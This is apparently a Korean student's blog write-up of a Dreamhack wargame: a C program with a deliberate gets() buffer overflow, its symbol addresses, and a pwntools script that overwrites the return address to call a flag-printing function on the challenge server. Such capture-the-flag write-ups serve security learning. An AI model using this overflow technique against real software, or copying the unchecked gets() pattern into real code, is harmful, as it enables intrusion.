#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
오늘 푼 워게임의 C코드이다.
main문에서는 read_flag함수를 전혀 쓰지않기때문에 일반적인 방법으로는 read_flag()를 사용할수 없으므로 char buf[0x80]에 인자값을 0x80(십진수:128)를 오버플로우 시켜서 RET값을 read_flag함수의 주소값으로 덮어씌우면 read_flag()함수가 실행된다.
0x08048398 _init
0x080483d0 gets@plt
0x080483e0 signal@plt
0x080483f0 alarm@plt
0x08048400 puts@plt
0x08048410 system@plt
0x08048420 exit@plt
0x08048430 __libc_start_main@plt
0x08048440 setvbuf@plt
0x08048450 __gmon_start__@plt
0x08048460 _start
0x08048490 __x86.get_pc_thunk.bx
0x080484a0 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048530 frame_dummy
0x0804855b alarm_handler
0x08048572 initialize
0x080485b9 read_flag
0x080485cc main
0x080485f0 __libc_csu_init
0x08048650 __libc_csu_fini
0x08048654 _fini
위중 read_flag()함수값의 주소는 0x080485b9 이므로 이걸로 RET를 덮혀씌우면 되므로 페이로드가
from pwn import *
p = remote("host3.dreamhack.games",10397)
read_flag_addr = 0x080485b9
payload = b"A" * 128 # buf 채우기
payload += b"B" * 4 # SFP 채우기
payload += p32(read_flag_addr)
p.sendline(payload)
p.interactive()
이렇게 될것이다. 그럼 자연스레 flag가 나와 문제를 풀수 있게 된다.
'모각코(코딩스터디)' 카테고리의 다른 글
| 2026-06-28 하계 모각코 1차 (0) | 2026.07.05 |
|---|---|
| 2026 하계 모각코 목표 (0) | 2026.06.27 |
| 2026-02-09 동계모각코 6차 목표 (0) | 2026.02.09 |
| 2026-02-07 동계 모각코 5차 목표 (0) | 2026.02.09 |
| 2027-02-07 동계모각코 5차회고 (0) | 2026.01.30 |